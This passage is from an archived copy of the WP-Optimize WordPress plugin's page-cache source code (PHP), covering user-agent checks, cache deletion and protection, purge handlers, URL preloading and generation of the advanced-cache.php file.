		|| strpos($_SERVER['HTTP_USER_AGENT'], 'Kindle') !== false
		|| strpos($_SERVER['HTTP_USER_AGENT'], 'BlackBerry') !== false
		|| strpos($_SERVER['HTTP_USER_AGENT'], 'Opera Mini') !== false
		|| strpos($_SERVER['HTTP_USER_AGENT'], 'Opera Mobi') !== false
	) {
		$is_mobile = true;
	} else {
		$is_mobile = false;
	}

	return $is_mobile;
}
endif;

/**
 * Check if current browser agent is not disabled in options.
 *
 * @return bool
 */
if (!function_exists('wpo_is_accepted_user_agent')) :
function wpo_is_accepted_user_agent($user_agent) {

	$exceptions = is_array($GLOBALS['wpo_cache_config']['cache_exception_browser_agents']) ? $GLOBALS['wpo_cache_config']['cache_exception_browser_agents'] : preg_split('#(\n|\r)#', $GLOBALS['wpo_cache_config']['cache_exception_browser_agents']);

	if (!empty($exceptions)) {
		foreach ($exceptions as $exception) {
			if ('' == trim($exception)) continue;

			if (preg_match('#'.$exception.'#i', $user_agent)) return false;
		}
	}

	return true;
}
endif;

/**
 * Delete function that deals with directories recursively
 *
 * @param string  $src       Path of the folder
 * @param boolean $recursive If $src is a folder, recursively delete the inner folders. If set to false, only the files will be deleted.
 *
 * @return bool
 */
if (!function_exists('wpo_delete_files')) :
function wpo_delete_files($src, $recursive = true) {
	if (!file_exists($src) || '' == $src || '/' == $src) {
		return true;
	}

	if (is_file($src)) {
		return unlink($src);
	}

	$success = true;
	$has_dir = false;

	if ($recursive) {
		// N.B. If opendir() fails, then a false positive (i.e. true) will be returned
		if (false !== ($dir = opendir($src))) {
			$file = readdir($dir);
			while (false !== $file) {
				if ('.' == $file || '..' == $file) {
					$file = readdir($dir);
					continue;
				}
				if (is_dir($src . '/' . $file)) {
					if (!wpo_delete_files($src . '/' . $file)) {
						$success = false;
					}
				} else {
					if (!unlink($src . '/' . $file)) {
						$success = false;
					}
				}

				$file = readdir($dir);
			}
			closedir($dir);
		}
	} else {
		// Not recursive, so we only delete the files
		// scan directories recursively.
		$handle = opendir($src);

		if (false === $handle) return false;

		$file = readdir($handle);

		while (false !== $file) {

			if ('.' != $file && '..' != $file) {
				if (is_dir($src . '/' . $file)) {
					$has_dir = true;
				} elseif (!unlink($src . '/' . $file)) {
					$success = false;
				}
			}

			$file = readdir($handle);

		}
	}

	if ($success && !$has_dir) {
		// Success of this operation is not recorded; we only ultimately care about emptying, not removing entirely (empty folders in our context are harmless)
		rmdir($src);
	}

	// delete cached information about cache size.
	WP_Optimize()->get_page_cache()->delete_cache_size_information();

	return $success;
}
endif;

if (!function_exists('wpo_is_empty_dir')) :
/**
 * Check if selected directory is empty or has only index.php which we added for security reasons.
 *
 * @param string $dir
 *
 * @return bool
 */
function wpo_is_empty_dir($dir) {
	if (!file_exists($dir) || !is_dir($dir)) return false;

	$handle = opendir($dir);

	if (false === $handle) return false;

	$is_empty = true;
	$file = readdir($handle);

	while (false !== $file) {

		if ('.' != $file && '..' != $file && 'index.php' != $file) {
			$is_empty = false;
			break;
		}

		$file = readdir($handle);
	}

	closedir($handle);
	return $is_empty;
}
endif;

/**
 * Either store for later output, or output now. Only the most-recent call will be effective.
 *
 * @param String|Null $output - if not null, then the string to use when called by the shutdown action.
 */
if (!function_exists('wpo_cache_add_footer_output')) :
function wpo_cache_add_footer_output($output = null) {

	static $buffered = null;

	if (function_exists('current_filter') && 'shutdown' == current_filter()) {
		// Only add the line if it was a page, not something else (e.g. REST response)
		if (function_exists('did_action') && did_action('wp_footer')) {
			echo "\n<!-- WP Optimize page cache - https://getwpo.com - ".$buffered." -->\n";
		} elseif (defined('WPO_CACHE_DEBUG') && WPO_CACHE_DEBUG) {
			error_log('[CACHE DEBUG] '.wpo_current_url() . ' - ' . $buffered);
		}
	} else {
		if (null == $buffered && function_exists('add_action')) add_action('shutdown', 'wpo_cache_add_footer_output', 11);
		$buffered = $output;
	}

}
endif;

/**
 * Remove variable names that shouldn't influence cache.
 *
 * @param array $variables List of variable names.
 *
 * @return array
 */
if (!function_exists('wpo_cache_maybe_ignore_query_variables')) :
function wpo_cache_maybe_ignore_query_variables($variables) {

	/**
	 * Filters the current $_GET variables that will be used when caching or excluding from cache.
	 * Currently:
	 * - 'wpo_cache_debug' (Shows the reason for not being cached even when WP_DEBUG isn't set)
	 * - 'doing_wp_cron' (alternative cron)
	 * - 'aiosp_sitemap_path', 'aiosp_sitemap_page' (All in one SEO sitemap)
	 * - 'xml_sitemap', 'seopress_sitemap', 'seopress_news', 'seopress_video', 'seopress_cpt', 'seopress_paged' (SEOPress sitemap)
	 * - 'sitemap', 'sitemap_n' (YOAST SEO sitemap)
	 */
	$exclude_variables = array(
		'wpo_cache_debug',    // Shows the reason for not being cached even when WP_DEBUG isn't set
		'doing_wp_cron',      // alternative cron
		'aiosp_sitemap_path', // All in one SEO sitemap
		'aiosp_sitemap_page',
		'xml_sitemap',        // SEOPress sitemap
		'seopress_sitemap',
		'seopress_news',
		'seopress_video',
		'seopress_cpt',
		'seopress_paged',
		'sitemap',            // YOAST SEO sitemap
		'sitemap_n',
	);
	$exclude_variables = function_exists('apply_filters') ? apply_filters('wpo_cache_ignore_query_variables', $exclude_variables) : $exclude_variables;

	if (empty($exclude_variables)) return $variables;

	foreach ($exclude_variables as $variable) {
		$exclude = array_search($variable, $variables);
		if (false !== $exclude) {
			array_splice($variables, $exclude, 1);
		}
	}

	return $variables;
}
endif;

/**
 * Get cache config
 *
 * @param string $key     - The config item
 * @param mixed  $default - The default value
 *
 * @return mixed
 */
if (!function_exists('wpo_cache_config_get')) :
function wpo_cache_config_get($key, $default = false) {
	$config = $GLOBALS['wpo_cache_config'];

	if (!$config) return false;

	if (isset($config[$key])) {
		return $config[$key];
	} else {
		return $default;
	}
}
endif;

if (!function_exists('wpo_disable_cache_directories_viewing')) :
function wpo_disable_cache_directories_viewing() {
	global $is_apache, $is_IIS, $is_iis7;

	if (!is_dir(WPO_CACHE_FILES_DIR)) return;

	// Create .htaccess file for apache server.
	if ($is_apache) {
		$htaccess_filename = WPO_CACHE_FILES_DIR . '/.htaccess';

		// CS does not like heredoc
		// phpcs:disable
		$htaccess_content = <<<EOF
# Disable directory browsing 
Options -Indexes

# Disable access to any files
<FilesMatch ".*">
	Order allow,deny
	Deny from all
</FilesMatch>		
EOF;
		// phpcs:enable

		if (!is_file($htaccess_filename)) @file_put_contents($htaccess_filename, $htaccess_content); // phpcs:ignore Generic.PHP.NoSilencedErrors.Discouraged
	}

	// Create web.config file for IIS servers.
	if ($is_IIS || $is_iis7) {
		$webconfig_filename = WPO_CACHE_FILES_DIR . '/web.config';
		$webconfig_content = "<configuration>\n<system.webServer>\n<authorization>\n<deny users=\"*\" />\n</authorization>\n</system.webServer>\n</configuration>\n";

		if (!is_file($webconfig_filename)) @file_put_contents($webconfig_filename, $webconfig_content); // phpcs:ignore Generic.PHP.NoSilencedErrors.Discouraged
	}

	// Create empty index.php file for all servers.
	if (!is_file(WPO_CACHE_FILES_DIR . '/index.php')) @file_put_contents(WPO_CACHE_FILES_DIR . '/index.php', '');// phpcs:ignore Generic.PHP.NoSilencedErrors.Discouraged
}
endif;

/**
 * Add the headers indicating why the page is not cached or served from cache
 *
 * @param string $message - The headers
 *
 * @return void
 */
if (!function_exists('wpo_cache_add_nocache_http_header')) :
	function wpo_cache_add_nocache_http_header($message = '') {
		static $buffered_message = null;

		if (function_exists('current_filter') && 'send_headers' === current_filter() && $buffered_message && !headers_sent()) {
			header('WPO-Cache-Status: not cached');
			header('WPO-Cache-Message: '. trim(str_replace(array("\r", "\n", ':'), ' ', strip_tags($buffered_message))));
		} else {
			if (!$buffered_message && function_exists('add_action')) add_action('send_headers', 'wpo_cache_add_nocache_http_header', 11);
			$buffered_message = $message;
		}
	}
endif;

/**
 * Check if feeds caching enabled
 *
 * @return bool
 */
if (!function_exists('wpo_feeds_caching_enabled')) :
	function wpo_feeds_caching_enabled() {
		return apply_filters('wpo_feeds_caching_enabled', true);
	}
endif;

if (!function_exists('wpo_debug_backtrace_summary')) {
	function wpo_debug_backtrace_summary($ignore_class = null, $skip_frames = 0, $pretty = true) {
		static $truncate_paths;
	 
		$trace       = debug_backtrace(false);
		$caller      = array();
		$check_class = !is_null($ignore_class);
		$skip_frames++; // Skip this function.
	 
		if (!isset($truncate_paths)) {
			$truncate_paths = array(
				wpo_normalize_path(WP_CONTENT_DIR),
				wpo_normalize_path(ABSPATH),
			);
		}
	 
		foreach ($trace as $call) {
			if ($skip_frames > 0) {
				$skip_frames--;
			} elseif (isset($call['class'])) {
				if ($check_class && $ignore_class == $call['class']) {
					continue; // Filter out calls.
				}
	 
				$caller[] = "{$call['class']}{$call['type']}{$call['function']}";
			} else {
				if (in_array($call['function'], array('do_action', 'apply_filters', 'do_action_ref_array', 'apply_filters_ref_array'), true)) {
					$caller[] = "{$call['function']}('{$call['args'][0]}')";
				} elseif (in_array($call['function'], array('include', 'include_once', 'require', 'require_once'), true)) {
					$filename = isset($call['args'][0]) ? $call['args'][0] : '';
					$caller[] = $call['function'] . "('" . str_replace($truncate_paths, '', wpo_normalize_path($filename)) . "')";
				} else {
					$caller[] = $call['function'];
				}
			}
		}
		if ($pretty) {
			return implode(', ', array_reverse($caller));
		} else {
			return $caller;
		}
	}
}

if (!function_exists('wpo_normalize_path')) {
	function wpo_normalize_path($path) {
		// Standardise all paths to use '/'.
		$path = str_replace('\\', '/', $path);
	 
		// Replace multiple slashes down to a singular, allowing for network shares having two slashes.
		$path = preg_replace('|(?<=.)/+|', '/', $path);
	 
		// Windows paths should uppercase the drive letter.
		if (':' === substr($path, 1, 1)) {
			$path = ucfirst($path);
		}

		return $path;
	}
}
cms/wordpress/wp-optimize-versions/wp-optimize.3.2/wp-optimize/cache/class-wpo-load-url-task.php000644 000000 000000 00000003024 14151417634 033340 0ustar00rootwheel000000 000000 <?php

if (!defined('ABSPATH')) die('Access denied.');

if (!class_exists('Updraft_Task_1_2')) require_once(WPO_PLUGIN_MAIN_PATH . 'vendor/team-updraft/common-libs/src/updraft-tasks/class-updraft-task.php');

if (!class_exists('WP_Optimize_Page_Cache_Preloader')) require_once(dirname(__FILE__) . '/class-wpo-cache-preloader.php');

class WP_Optimize_Load_Url_Task extends Updraft_Task_1_2 {

	/**
	 * Default options.
	 */
	public function get_default_options() {
		return array();
	}

	/**
	 * Run preload http requests with different user-agent values to cache pages for different devices.
	 *
	 * @return bool
	 */
	public function run() {
		$url = $this->get_option('url');

		if (empty($url)) return;

		$cache_preloader = WP_Optimize_Page_Cache_Preloader::instance();

		// load pages with different user-agents values.

		$cache_preloader->preload_desktop($url);
		$cache_preloader->preload_mobile($url);
		$cache_preloader->preload_amp($url);

		if (defined('WP_CLI') && WP_CLI) {
			WP_CLI::log($url);
		}

		/**
		 * Action triggered after preloading a single url
		 *
		 * @param string $url             The url to preload
		 * @param object $cache_preloader Cache preloader instance
		 */
		do_action('wpoptimize_after_preload_url', $url, $cache_preloader);

		/**
		 * Allows to change the delay between each URL preload, to reduce server load.
		 *
		 * @param integer $preload_delay The delay between each request in microseconds (1000000 = 1 second).
		 */
		usleep(apply_filters('wpoptimize_preload_delay', 500000));

		return true;
	}
}
cms/wordpress/wp-optimize-versions/wp-optimize.3.2/wp-optimize/cache/class-wpo-page-cache.php000644 000000 000000 00000111617 14213733440 032641 0ustar00rootwheel000000 000000 <?php
/**
 * Page caching functionality
 *
 * Acknowledgement: The page cache functionality was loosely based on the simple cache plugin - https://github.com/tlovett1/simple-cache
 */

if (!defined('ABSPATH')) die('No direct access allowed');

/**
 * Base cache directory, everything else goes under here
 */
if (!defined('WPO_CACHE_DIR')) define('WPO_CACHE_DIR', untrailingslashit(WP_CONTENT_DIR).'/wpo-cache');

/**
 * Extensions directory.
 */
if (!defined('WPO_CACHE_EXT_DIR')) define('WPO_CACHE_EXT_DIR', dirname(__FILE__).'/extensions');

/**
 * Directory that stores config and related files
 */
if (!defined('WPO_CACHE_CONFIG_DIR')) define('WPO_CACHE_CONFIG_DIR', WPO_CACHE_DIR.'/config');

/**
 * Directory that stores the cache, including gzipped files and mobile specifc cache
 */
if (!defined('WPO_CACHE_FILES_DIR')) define('WPO_CACHE_FILES_DIR', untrailingslashit(WP_CONTENT_DIR).'/cache/wpo-cache');

if (!class_exists('WPO_Cache_Config')) require_once(dirname(__FILE__) . '/class-wpo-cache-config.php');
if (!class_exists('WPO_Cache_Rules')) require_once(dirname(__FILE__) . '/class-wpo-cache-rules.php');

if (!class_exists('WP_Optimize_Detect_Cache_Plugins')) require_once(dirname(__FILE__) . '/class-wpo-detect-cache-plugins.php');

if (!class_exists('WP_Optimize_Page_Cache_Preloader')) require_once(dirname(__FILE__) . '/class-wpo-cache-preloader.php');
if (!class_exists('WPO_Cache_Config')) require_once(dirname(__FILE__) . '/class-wpo-cache-config.php');
if (!class_exists('WPO_Cache_Rules')) require_once(dirname(__FILE__) . '/class-wpo-cache-rules.php');

if (!class_exists('Updraft_Abstract_Logger')) require_once(WPO_PLUGIN_MAIN_PATH.'includes/class-updraft-abstract-logger.php');
if (!class_exists('Updraft_PHP_Logger')) require_once(WPO_PLUGIN_MAIN_PATH.'includes/class-updraft-php-logger.php');

require_once dirname(__FILE__) . '/file-based-page-cache-functions.php';

if (version_compare(PHP_VERSION, '5.3.0') >= 0) {
	require_once dirname(__FILE__) . '/php-5.3-functions.php';
}

wpo_cache_load_extensions();

if (!class_exists('WPO_Page_Cache')) :

class WPO_Page_Cache {

	/**
	 * Cache config object
	 *
	 * @var mixed
	 */
	public $config;

	/**
	 * Logger for this class
	 *
	 * @var mixed
	 */
	public $logger;

	/**
	 * Instance of this class
	 *
	 * @var mixed
	 */
	public static $instance;

	/**
	 * Store last advanced cache file writing status
	 * If true then last writing finished with error
	 *
	 * @var bool
	 */
	public $advanced_cache_file_writing_error;

	/**
	 * Store errors
	 *
	 * @var array
	 */
	private $_errors = array();

	/**
	 * Last advanced cache file content
	 *
	 * @var string
	 */
	public $advanced_cache_file_content;

	/**
	 * Store the latest advanced-cache.php version required
	 *
	 * @var string
	 */
	private $_minimum_advanced_cache_file_version = '3.0.17';

	/**
	 * Set everything up here
	 */
	public function __construct() {
		$this->config = WPO_Cache_Config::instance();
		$this->rules  = WPO_Cache_Rules::instance();
		$this->logger = new Updraft_PHP_Logger();

		add_action('activate_plugin', array($this, 'activate_deactivate_plugin'));
		add_action('deactivate_plugin', array($this, 'activate_deactivate_plugin'));

		/**
		 * Regenerate config file on cache flush.
		 */
		add_action('wpo_cache_flush', array($this, 'update_cache_config'));
		add_action('wpo_cache_flush', array($this, 'delete_cache_size_information'));

		// Add purge cache link to admin bar.
		add_filter('wpo_cache_admin_bar_menu_items', array($this, 'admin_bar_purge_cache'), 20, 1);

		// Handle single page purge.
		add_action('wp_loaded', array($this, 'handle_purge_single_page_cache'));

		add_action('admin_init', array($this, 'admin_init'));

		$this->check_compatibility_issues();
	}

	/**
	 * Do required actions on activate/deactivate any plugin.
	 */
	public function activate_deactivate_plugin() {

		$this->update_cache_config();

		/**
		 * Filters whether activating / deactivating a plugin will purge the cache.
		 */
		if (apply_filters('wpo_purge_page_cache_on_activate_deactivate_plugin', true)) {
			$this->purge();
		}
	}

	/**
	 * Check if current user can purge cache.
	 *
	 * @return bool
	 */
	public function can_purge_cache() {
		if (is_multisite()) return $this->is_enabled() && (current_user_can('manage_network_options') || WP_Optimize()->can_purge_the_cache());
		return $this->is_enabled() && (current_user_can('manage_options') || WP_Optimize()->can_purge_the_cache());
	}

	/**
	 * Add Purge from cache in admin bar.
	 *
	 * @param array        $menu_items
	 * @return array
	 */
	public function admin_bar_purge_cache($menu_items) {
		global $pagenow;
		if (!$this->can_purge_cache()) return $menu_items;

		$act_url = remove_query_arg(array('wpo_single_page_cache_purged', 'wpo_all_pages_cache_purged'));

		$cache_size = $this->get_cache_size();
		$cache_size_info = '<h4>'.__('Page cache', 'wp-optimize').'</h4>';
		$cache_size_info .= '<span>'.__('Cache size:', 'wp-optimize').' '. WP_Optimize()->format_size($cache_size['size']).' '.sprintf(__('(%d files)', 'wp-optimize'), $cache_size['file_count']).'</span>';

		$menu_items[] = array(
			'id'    => 'wpo_cache_stats',
			'title' => $cache_size_info,
			'meta'  => array(
				'class' => 'wpo-cache-stats',
			),
			'parent' => 'wpo_purge_cache',
		);

		$menu_items[] = array(
			'id'    => 'wpo_purge_all_pages_cache',
			'title' => __('Purge cache for all pages', 'wp-optimize'),
			'href'  => add_query_arg('_wpo_purge', wp_create_nonce('wpo_purge_all_pages_cache'), $act_url),
			'meta'  => array(
				'title' => __('Purge cache for all pages', 'wp-optimize'),
			),
			'parent' => 'wpo_purge_cache',
		);

		if (!is_admin() || 'post.php' == $pagenow) {
			$menu_items[] = array(
				'id'    => 'wpo_purge_this_page_cache',
				'title' => __('Purge cache for this page', 'wp-optimize'),
				'href'  => add_query_arg('_wpo_purge', wp_create_nonce('wpo_purge_single_page_cache'), $act_url),
				'meta'  => array(
					'title' => __('Purge cache for this page', 'wp-optimize'),
				),
				'parent' => 'wpo_purge_cache',
			);
		}

		return $menu_items;

	}

	/**
	 * Check if purge single page action sent and purge cache.
	 */
	public function handle_purge_single_page_cache() {

		if (!$this->can_purge_cache()) return;

		if (isset($_GET['wpo_single_page_cache_purged']) || isset($_GET['wpo_all_pages_cache_purged'])) {
			if (isset($_GET['wpo_single_page_cache_purged'])) {
				$notice_function = $_GET['wpo_single_page_cache_purged'] ? 'notice_purge_single_page_cache_success' : 'notice_purge_single_page_cache_error';
			} else {
				$notice_function = $_GET['wpo_all_pages_cache_purged'] ? 'notice_purge_all_pages_cache_success' : 'notice_purge_all_pages_cache_error';
			}

			add_action('admin_notices', array($this, $notice_function));

			return;
		}

		if (!isset($_GET['_wpo_purge'])) return;

		if (wp_verify_nonce($_GET['_wpo_purge'], 'wpo_purge_single_page_cache')) {
			$success = false;

			if (is_admin()) {
				$post = isset($_GET['post']) ? (int) $_GET['post'] : 0;
				if ($post > 0) {
					$success = self::delete_single_post_cache($post);
				}
			} else {
				$success = self::delete_cache_by_url(wpo_current_url());
			}

			// remove nonce from url and reload page.
			wp_redirect(add_query_arg('wpo_single_page_cache_purged', $success, remove_query_arg('_wpo_purge')));
			exit;

		} elseif (wp_verify_nonce($_GET['_wpo_purge'], 'wpo_purge_all_pages_cache')) {
			$success = self::purge();

			// remove nonce from url and reload page.
			wp_redirect(add_query_arg('wpo_all_pages_cache_purged', $success, remove_query_arg('_wpo_purge')));
			exit;
		}
	}

	/**
	 * Show notification when page cache purged successfully.
	 */
	public function notice_purge_single_page_cache_success() {
		$this->show_notice(__('The page cache was successfully purged.', 'wp-optimize'), 'success');
	}

	/**
	 * Show notification when page cache wasn't purged.
	 */
	public function notice_purge_single_page_cache_error() {
		$this->show_notice(__('The page cache was not purged.', 'wp-optimize'), 'error');
	}

	/**
	 * Show notification when all pages cache purged successfully.
	 */
	public function notice_purge_all_pages_cache_success() {
		$this->show_notice(__('The page cache was successfully purged.', 'wp-optimize'), 'success');
	}

	/**
	 * Show notification when all pages cache wasn't purged.
	 */
	public function notice_purge_all_pages_cache_error() {
		$this->show_notice(__('The page cache was not purged.', 'wp-optimize'), 'error');
	}

	/**
	 * Show notification in WordPress admin.
	 *
	 * @param string $message HTML (no further escaping is performed)
	 * @param string $type    error, warning, success, or info
	 */
	public function show_notice($message, $type) {
		global $current_screen;
		
		if ($current_screen && is_callable(array($current_screen, 'is_block_editor')) && $current_screen->is_block_editor()) : ?>
			<script>
				window.addEventListener('load', function() {
					(function(wp) {
						if (window.wp && wp.hasOwnProperty('data') && 'function' == typeof wp.data.dispatch) {
							wp.data.dispatch('core/notices').createNotice(
								'<?php echo $type; ?>',
								'<?php echo $message; ?>',
								{
									isDismissible: true,
								}
							);
						}
					})(window.wp);
				});
			</script>
		<?php else : ?>
			<div class="notice wpo-notice notice-<?php echo $type; ?> is-dismissible">
				<p><?php echo $message; ?></p>
			</div>
		<?php
		endif;
	}

	/**
	 * Enables page cache
	 *
	 * @param bool $force_enable - Force regenerating everything. E.g. we want to do that when saving the settings
	 *
	 * @return WP_Error|bool - true on success, error otherwise
	 */
	public function enable($force_enable = false) {
		static $already_ran_enable = false;

		if ($already_ran_enable) return $already_ran_enable;

		$folders_created = $this->create_folders();
		if (is_wp_error($folders_created)) {
			$already_ran_enable = $folders_created;
			return $already_ran_enable;
		}

		// if WPO_ADVANCED_CACHE isn't set, or environment doesn't contain the right constant, force regeneration
		if (!defined('WPO_ADVANCED_CACHE') || !defined('WP_CACHE')) {
			$force_enable = true;
		}

		if (!$force_enable) {
			$already_ran_enable = true;
			return true;
		}

		if (!$this->write_advanced_cache() && version_compare($this->get_advanced_cache_version(), $this->_minimum_advanced_cache_file_version, '<')) {
			$message = sprintf("The request to write the file %s failed. ", htmlspecialchars($this->get_advanced_cache_filename()));
			$message .= ' '.__('Please check file and directory permissions on the file paths up to this point, and your PHP error log.', 'wp-optimize');

			if (!defined('WP_CLI') || !WP_CLI) {
				$message .= "\n\n".sprintf(__('1. Please navigate, via FTP, to the folder - %s', 'wp-optimize'), htmlspecialchars(dirname($this->get_advanced_cache_filename())));
				$message .= "\n".__('2. Edit or create a file with the name advanced-cache.php', 'wp-optimize');
				$message .= "\n".__('3. Copy and paste the following lines into the file:', 'wp-optimize');
			}

			$already_ran_enable = new WP_Error("write_advanced_cache", $message);
			return $already_ran_enable;
		}

		if (!$this->write_wp_config(true)) {
			$already_ran_enable = new WP_Error("write_wp_config", "Could not turn on the WP_CACHE constant in wp-config.php. Check your permissions.");
			return $already_ran_enable;
		}

		if (!$this->verify_cache()) {
			$errors = $this->get_errors();
			$already_ran_enable = new WP_Error("verify_cache", "Could not verify if the cache was enabled: \n".implode("\n- ", $errors));
			return $already_ran_enable;
		}

		$already_ran_enable = true;

		return true;
	}

	/**
	 * Disables page cache
	 *
	 * @return bool - true on success, false otherwise
	 */
	public function disable() {
		$ret = true;

		$advanced_cache_file = $this->get_advanced_cache_filename();

		// N.B. The only use of WP_CACHE in WP core is to include('advanced-cache.php') (and run a function if it's then defined); so, if the decision to leave it enable is, for some unexpected reason, technically incorrect, it still can't cause a problem.
		$disabled_wp_config = $this->write_wp_config(false);
		if (!$disabled_wp_config) {
			$this->log("Could not turn off the WP_CACHE constant in wp-config.php");
			$this->add_warning('error_disabling', __('Could not turn off the WP_CACHE constant in wp-config.php', 'wp-optimize'));
		}

		$disabled_advanced_cache = true;
		// First try to remove (so that it doesn't look to any other plugin like the file is already 'claimed')
		// We only touch advanched-cache.php and wp-config.php if it appears that we were in control of advanced-cache.php
		if (!file_exists($advanced_cache_file) || false !== strpos(file_get_contents($advanced_cache_file), 'WP-Optimize advanced-cache.php')) {
			if (file_exists($advanced_cache_file) && (!unlink($advanced_cache_file) && false === file_put_contents($advanced_cache_file, "<?php\n// WP-Optimize: page cache disabled"))) {
				$disabled_advanced_cache = false;
				$this->log("The request to the filesystem to remove or empty advanced-cache.php failed");
				$this->add_warning('error_disabling', __('The request to the filesystem to remove or empty advanced-cache.php failed', 'wp-optimize'));
			}
		}

		// If both actions failed, the cache wasn't disabled. So we send an error. If only one succeeds, it will still be disabled.
		if (!$disabled_wp_config && !$disabled_advanced_cache) {
			$ret = new WP_Error('error_disabling_cache', __('The page caching could not be disabled: the WP_CACHE constant could not be removed from wp-config.php and the request to the filesystem to remove or empty advanced-cache.php failed.', 'wp-optimize'));
		}

		// Delete cache to avoid stale cache on next activation
		$this->purge();

		return $ret;
	}


	/**
	 * Purges the cache
	 *
	 * @return bool - true on success, false otherwise
	 */
	public function purge() {

		if (!self::delete(WPO_CACHE_FILES_DIR)) {
			$this->log("The request to the filesystem to delete the cache failed");
			return false;
		}

		/**
		 * Fires after purging the cache
		 */
		do_action('wpo_cache_flush');

		return true;
	}

	/**
	 * Purges the cache
	 *
	 * @return bool - true on success, false otherwise
	 */
	public function clean_up() {

		$this->disable();

		if (!self::delete(WPO_CACHE_DIR, true)) {
			$this->log("The request to the filesystem to clean up the cache failed");
			return false;
		}

		return true;
	}

	/**
	 * Check if cache is enabled and working
	 *
	 * @return bool - true on success, false otherwise
	 */
	public function is_enabled() {

		if (!defined('WP_CACHE') || !WP_CACHE) {
			return false;
		}

		if (!defined('WPO_ADVANCED_CACHE') || !WPO_ADVANCED_CACHE) {
			return false;
		}

		if (!file_exists(WPO_CACHE_CONFIG_DIR . '/'.$this->get_cache_config_filename())) {
			return false;
		}

		return true;
	}

	/**
	 * Create the folder structure needed for cache to work
	 *
	 * @return bool - true on success, false otherwise
	 */
	private function create_folders() {

		if (!is_dir(WPO_CACHE_DIR) && !wp_mkdir_p(WPO_CACHE_DIR)) {
			return new WP_Error('create_folders', sprintf(__('The request to the filesystem failed: unable to create directory %s. Please check your file permissions.'), str_ireplace(ABSPATH, '', WPO_CACHE_DIR)));
		}

		if (!is_dir(WPO_CACHE_CONFIG_DIR) && !wp_mkdir_p(WPO_CACHE_CONFIG_DIR)) {
			return new WP_Error('create_folders', sprintf(__('The request to the filesystem failed: unable to create directory %s. Please check your file permissions.'), str_ireplace(ABSPATH, '', WPO_CACHE_CONFIG_DIR)));
		}
		
		if (!is_dir(WPO_CACHE_FILES_DIR)) {
			if (!wp_mkdir_p(WPO_CACHE_FILES_DIR)) {
				return new WP_Error('create_folders', sprintf(__('The request to the filesystem failed: unable to create directory %s. Please check your file permissions.'), str_ireplace(ABSPATH, '', WPO_CACHE_FILES_DIR)));
			} else {
				wpo_disable_cache_directories_viewing();
			}
		}

		return true;
	}

	/**
	 * Get advanced-cache.php file name with full path.
	 *
	 * @return string
	 */
	public function get_advanced_cache_filename() {
		return untrailingslashit(WP_CONTENT_DIR) . '/advanced-cache.php';
	}

	/**
	 * Get advanced-cache.php file name with full path.
	 *
	 * @return string
	 */
	public function get_cache_config_filename() {
		$url = parse_url(network_site_url());

		if (isset($url['port']) && '' != $url['port'] && 80 != $url['port']) {
			return 'config-'.$url['host'].'-port'.$url['port'].'.php';
		} else {
			return 'config-'.$url['host'].'.php';
		}
	}

	/**
	 * Writes advanced-cache.php
	 *
	 * @param boolean $update_required - Whether the update is required or not.
	 * @return bool
	 */
	private function write_advanced_cache($update_required = false) {
		$config_file_basename = $this->get_cache_config_filename();
		$cache_file_basename = untrailingslashit(plugin_dir_path(__FILE__));
		$plugin_basename = basename(WPO_PLUGIN_MAIN_PATH);
		$cache_path = '/wpo-cache';
		$cache_files_path = '/cache/wpo-cache';
		$cache_extensions_path = WPO_CACHE_EXT_DIR;
		$wpo_version = WPO_VERSION;
		$wpo_home_url = trailingslashit(home_url());

		// CS does not like heredoc
		// phpcs:disable
		$this->advanced_cache_file_content = <<<EOF
<?php

if (!defined('ABSPATH')) die('No direct access allowed');

// WP-Optimize advanced-cache.php (written by version: $wpo_version) (do not change this line, it is used for correctness checks)

if (!defined('WPO_ADVANCED_CACHE')) define('WPO_ADVANCED_CACHE', true);

\$possible_plugin_locations = array(
	defined('WP_PLUGIN_DIR') ? WP_PLUGIN_DIR.'/$plugin_basename/cache' : false,
	defined('WP_CONTENT_DIR') ? WP_CONTENT_DIR.'/plugins/$plugin_basename/cache' : false,
	dirname(__FILE__).'/plugins/$plugin_basename/cache',
	'$cache_file_basename',
);

\$plugin_location = false;

foreach (\$possible_plugin_locations as \$possible_location) {
	if (false !== \$possible_location && @file_exists(\$possible_location.'/file-based-page-cache.php')) {
		\$plugin_location = \$possible_location;
		break;
	}
}

if (false === \$plugin_location) {
	if (!defined('WPO_PLUGIN_LOCATION_NOT_FOUND')) define('WPO_PLUGIN_LOCATION_NOT_FOUND', true);
	\$protocol = \$_SERVER['REQUEST_SCHEME'];
	\$host = \$_SERVER['HTTP_HOST'];
	\$request_uri = \$_SERVER['REQUEST_URI'];
	if (strcasecmp('$wpo_home_url', \$protocol . '://' . \$host . \$request_uri) === 0) {
		error_log('WP-Optimize: No caching took place, because the plugin location could not be found');
	}
} else {
	if (!defined('WPO_PLUGIN_LOCATION_NOT_FOUND')) define('WPO_PLUGIN_LOCATION_NOT_FOUND', false);
}

if (is_admin()) { return; }

if (!defined('WPO_CACHE_DIR')) define('WPO_CACHE_DIR', WP_CONTENT_DIR.'$cache_path');
if (!defined('WPO_CACHE_CONFIG_DIR')) define('WPO_CACHE_CONFIG_DIR', WPO_CACHE_DIR.'/config');
if (!defined('WPO_CACHE_FILES_DIR')) define('WPO_CACHE_FILES_DIR', WP_CONTENT_DIR.'$cache_files_path');
if (false !== \$plugin_location) {
	if (!defined('WPO_CACHE_EXT_DIR')) define('WPO_CACHE_EXT_DIR', \$plugin_location.'/extensions');
} else {
	if (!defined('WPO_CACHE_EXT_DIR')) define('WPO_CACHE_EXT_DIR', '$cache_extensions_path');
}

if (!@file_exists(WPO_CACHE_CONFIG_DIR . '/$config_file_basename')) { return; }

\$GLOBALS['wpo_cache_config'] = @json_decode(file_get_contents(WPO_CACHE_CONFIG_DIR . '/$config_file_basename'), true);

if (empty(\$GLOBALS['wpo_cache_config'])) {
	include_once(WPO_CACHE_CONFIG_DIR . '/$config_file_basename');
}

if (empty(\$GLOBALS['wpo_cache_config']) || empty(\$GLOBALS['wpo_cache_config']['enable_page_caching'])) { return; }

if (false !== \$plugin_location) { include_once(\$plugin_location.'/file-based-page-cache.php'); }

EOF;

		// phpcs:enable
		$advanced_cache_filename = $this->get_advanced_cache_filename();

		// If the file content is already up to date, success
		if (is_file($advanced_cache_filename) && file_get_contents($advanced_cache_filename) === $this->advanced_cache_file_content) {
			$this->advanced_cache_file_writing_error = false;
			return true;
		}

		// check if we can't write the advanced cache file
		// case 1: the directory is read-only and the file doesn't exist
		if (!is_file($advanced_cache_filename) && !is_writable(dirname($advanced_cache_filename))) {
			$this->advanced_cache_file_writing_error = true;
			return false;
		}

